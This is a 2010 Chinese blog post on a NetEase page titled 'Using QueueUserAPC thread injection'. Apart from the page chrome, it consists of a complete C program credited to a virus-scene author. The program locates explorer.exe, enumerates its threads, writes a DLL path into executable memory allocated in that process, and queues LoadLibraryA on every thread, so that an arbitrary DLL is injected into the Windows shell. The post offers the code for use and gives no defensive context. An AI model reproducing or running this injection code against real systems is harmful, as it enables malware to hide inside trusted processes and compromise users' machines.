注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

BCB-DG's Blog

...

 
 
 

日志

 
 

使用QueueUserAPC线程注入  

2010-11-30 14:51:50|  分类: Delphi |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

//
robinh00d[VX Z0NE]
#define
 _WIN32_WINNT 0x0400
#define WIN32_LEAN_AND_MEAN   // 从 Windows 头中排除极少使用的资料

#include 
<windows.h>
#include 
<Tlhelp32.h>
#include 
<stdio.h>
#include 
<stdlib.h>

typedef HANDLE (CALLBACK 
*OPENTHREAD) (DWORD dwFlag, BOOL bUnknow, DWORD dwThreadId); 
typedef   unsigned   
long      ULONG_PTR;
typedef 
struct _TIDLIST 
{
    DWORD dwTid ;
    _TIDLIST 
*pNext ;
}TIDLIST;

DWORD EnumThread(HANDLE hProcess, TIDLIST 
*pThreadIdList)
{
    TIDLIST 
*pCurrentTid = pThreadIdList ;
    HANDLE hThread;
    
const char szInjectModName[] = "c:\\sysnap.dll" ;
    DWORD dwLen 
= strlen(szInjectModName) ;
    HMODULE hDll 
= GetModuleHandle("Kernel32.dll");    
    PVOID param 
= VirtualAllocEx(hProcess, NULL, dwLen, MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE) ;   
    
if (param != NULL)
    {
        DWORD dwRet ;
        
if (WriteProcessMemory(hProcess, param, (LPVOID)szInjectModName, dwLen, &dwRet))
        {           
            
while (pCurrentTid)
            {
                OPENTHREAD lpfnOpenThread 
= (OPENTHREAD)::GetProcAddress(hDll, "OpenThread"); 
                hThread 
= lpfnOpenThread(THREAD_ALL_ACCESS,FALSE,pCurrentTid->dwTid);
                
if (hThread != NULL)
                {

                    
// 注入DLL到指定进程
                    QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)param) ;
                }
                printf(
"TID:%d\n", pCurrentTid->dwTid) ;
                pCurrentTid 
= pCurrentTid->pNext ;
            }
        }
    }
    
return 0 ;
}

DWORD GetProcID(
const char *szProcessName)
{
    PROCESSENTRY32 pe32 
= {0} ;
    pe32.dwSize 
= sizeof(PROCESSENTRY32);   
    HANDLE hSnapshot 
= CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) ;   
    
if (hSnapshot == INVALID_HANDLE_VALUE)
    {
        
return 0xFFFFFFFF ;
    }
    
if (!Process32First(hSnapshot, &pe32))
    {
        
return 0xFFFFFFFF ;
    }
    
    
do 
    {
        
if (!_strnicmp(szProcessName, pe32.szExeFile, strlen(szProcessName)))
        {
            printf(
"%s的PID是:%d\n", pe32.szExeFile, pe32.th32ProcessID);
            
return pe32.th32ProcessID ;
        }
    } 
while(Process32Next(hSnapshot, &pe32));
    
    
return 0xFFFFFFFF ;
}

TIDLIST
* InsertTid(TIDLIST *pdwTidListHead, DWORD dwTid)
{
    TIDLIST 
*pCurrent = NULL ;
    TIDLIST 
*pNewMember = NULL ;
    
    
if (pdwTidListHead == NULL)
    {
        
return NULL ;
    }
    pCurrent 
= pdwTidListHead ;   
    
while (pCurrent != NULL)
    {       
        
if (pCurrent->pNext == NULL)
        {

            
// 定位到链表最后一个元素
            pNewMember = (TIDLIST *)malloc(sizeof(TIDLIST)) ;           
            
if (pNewMember != NULL)
            {
                pNewMember
->dwTid = dwTid ;
                pNewMember
->pNext = NULL ;
                pCurrent
->pNext = pNewMember ;
                
return pNewMember ;
            }
            
else
            {
                
return NULL ;
            }
        }
        pCurrent 
= pCurrent->pNext ;
    }   
    
return NULL ;
}

int EnumThreadID(DWORD dwPID, TIDLIST *pdwTidList)
{
    
int i = 0 ;   
    THREADENTRY32 te32 
= {0} ;
    te32.dwSize
= sizeof(THREADENTRY32) ;   
    HANDLE hSnapshot 
= CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,dwPID) ;   
    
if(hSnapshot != INVALID_HANDLE_VALUE)
    {
        
if(Thread32First(hSnapshot,&te32)) 
        {
            
do
            {
                
if(te32.th32OwnerProcessID==dwPID) 
                {
                    
if (pdwTidList->dwTid == 0)
                    {
                        pdwTidList
->dwTid = te32.th32ThreadID ;
                    }
                    
else
                    {
                        
if (NULL == InsertTid(pdwTidList, te32.th32ThreadID))
                        {
                            printf(
"插入失败!\n") ;
                            
return 0 ;
                        }
                    }                   
                } 
            }
while(Thread32Next(hSnapshot,&te32));
        }
    }
    
return 1 ;
}

void RemoveTid(TIDLIST *pdwTidListHead)
{
    TIDLIST 
*pCurrent = NULL ;
    TIDLIST 
*pNext = NULL ;  
    
if (pdwTidListHead == NULL)
    {
        
return;
    }
    pCurrent 
= pdwTidListHead ;   
    
while (pCurrent != NULL)
    {
        pNext 
= pCurrent->pNext;
        free(pCurrent);
        pCurrent 
= pNext;
    }
}

int main(int argc, char* argv[])
{
    TIDLIST 
*pTidHead = (TIDLIST *)malloc(sizeof(TIDLIST)) ;
    
if (pTidHead == NULL)
    {
        
return 1 ;
    }

    RtlZeroMemory(pTidHead, 
sizeof(TIDLIST)) ;
    DWORD dwPID 
= 0 ;
    
if ((dwPID = GetProcID("explorer.exe")) == 0xFFFFFFFF)
    {
        printf(
"进程ID获取失败!\n") ;
        
return 1 ;
    }
   

    
// 枚举线程ID
    EnumThreadID(dwPID, pTidHead) ;   
    HANDLE hProcess 
= OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID) ;
    
if (hProcess == NULL)
    {
        
return 1 ;
    }
    EnumThread(hProcess, pTidHead) ;
    CloseHandle(hProcess);
    RemoveTid(pTidHead);
    
return 0;
}
  评论这张
 
阅读(1116)| 评论(0)
推荐 转载

历史上的今天

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017